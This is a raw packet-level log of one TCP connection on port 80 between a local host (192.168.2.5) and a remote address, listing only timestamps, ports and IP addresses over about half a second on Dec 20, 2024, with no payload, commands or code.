Dec 20, 2024 16:06:57.409640074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.409811020 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.409866095 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.410412073 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.410469055 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.410653114 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.410706043 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.411387920 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.411483049 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.411561966 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.411616087 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.412358999 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.412422895 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.412498951 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.412554026 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.413352013 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.413366079 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.413417101 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.414303064 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.414366007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.414592028 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.414644003 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.415375948 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.415436029 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.415808916 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.415859938 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.416254997 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.416306973 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.416441917 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.416490078 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.417238951 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.417294979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.417701006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.417753935 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.418303013 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.418358088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.418418884 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.418463945 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.419271946 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.419333935 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.419378996 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.419423103 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.420523882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.420588017 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.420609951 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.420656919 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.421174049 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.421226025 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.421453953 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.421549082 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.422245026 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.422298908 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.422399998 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.422446966 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.423062086 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.423115969 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.423204899 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.423252106 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.424096107 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.424155951 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.505913973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.506100893 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.506299973 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.506314993 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.506361961 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.506406069 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.506454945 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.507360935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.507430077 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.507689953 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.507739067 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.508302927 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.508363008 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.508441925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.508491993 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.509074926 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.509130001 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.509260893 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.509310007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.509921074 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.509994984 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.510027885 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.510056019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.510863066 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.510917902 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.511051893 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.511102915 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.572227955 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.572376013 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.572424889 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.572503090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.572566986 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.572583914 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.572618961 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.572639942 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.573477030 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.573543072 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.573580980 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.573637009 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.574551105 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.574611902 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.574852943 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.575031996 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.575372934 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.575431108 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.575664997 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.575721979 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.576261044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.576323032 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.576577902 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.576632977 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.577210903 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.577270985 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.577301025 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.577357054 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.578499079 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.578571081 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.579279900 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.579338074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.579674959 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.579689026 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.579735994 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.579751015 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.580526114 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.580705881 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.580740929 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.580755949 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.581545115 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.581593037 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.581660032 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.581710100 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.582159042 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.582228899 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.582289934 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.582334995 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.583093882 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.583154917 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.583219051 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.583261013 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.583869934 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.583915949 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.584006071 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.584124088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.584693909 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.584748030 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.584923029 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.584966898 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.585591078 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.585639954 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.585773945 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.585824966 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.586422920 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.586472988 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.586569071 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.586615086 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.587404013 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.587455988 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.587605000 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.587655067 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.588290930 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.588344097 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.588377953 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.588426113 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.589251995 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.589298964 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.589401960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.589447975 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.590147018 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.590204954 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.590306997 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.590358019 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.591036081 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.591104031 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.591423988 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.591475964 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.591963053 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.592014074 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.592092037 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.592143059 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.592879057 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.592961073 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.593056917 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.593105078 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.593812943 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.593868971 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.593938112 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.593982935 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.594784021 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.594839096 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.594882965 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.594932079 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.595820904 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.595886946 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.596318960 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.596369028 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.596621037 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.596678019 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.596682072 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.596724033 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.597498894 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.597547054 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.597723961 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.598078966 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.598467112 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.598480940 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.598515987 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.598530054 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.599345922 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.599400997 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.599543095 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.599591970 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.600302935 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.600352049 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.600384951 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.600430965 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.601299047 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.601313114 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.601351023 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.601376057 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.602190971 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.602240086 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.602273941 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.602315903 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.603066921 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.603080988 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.603130102 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.603985071 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.604037046 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.605082035 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.605098009 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.605125904 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.605138063 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.605210066 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.605249882 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.605957031 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.606009007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.606524944 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.606597900 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.606765032 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.606776953 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.606815100 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.607964993 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.608023882 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.608546019 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.608597994 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.608781099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.608834028 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.609215975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.609270096 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.609941006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.609998941 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.610235929 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.610291004 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.610780001 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.610827923 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.611006975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.611052036 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.611671925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.611690044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.611716986 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.611737013 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.612623930 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.612687111 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.613049984 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.613147974 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.613630056 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.613697052 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.613811970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.613859892 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.614715099 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.614787102 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.697899103 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.697936058 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.697977066 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.698004007 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.698054075 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.698084116 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.698100090 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.698118925 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.699105024 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.699162006 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.699203014 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.699248075 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.701642036 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.701658964 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.701683044 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.701735973 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.701787949 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.701821089 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.701822996 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.701837063 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.701853991 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.701877117 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.701893091 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.702750921 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.702814102 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.703043938 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.703105927 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.703723907 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.703789949 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.764219046 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.764290094 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.764375925 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.764388084 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.764456034 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.764611006 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.764664888 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.765424967 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.765486002 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.765707970 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.765762091 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.768151999 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.768188953 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.768204927 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.768224955 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.768253088 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.768392086 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.768404007 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.768423080 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.768440008 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.768465042 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.769180059 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.769193888 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.769239902 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.769253016 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.769922018 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.769979000 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.770128965 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.770180941 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.770960093 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.771024942 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.771138906 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.771193027 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.771785975 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.771845102 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.771902084 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.771949053 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.772758961 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:06:57.772819042 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:06:57.772862911 CET	80	49769	185.215.113.206	192.168.2.5
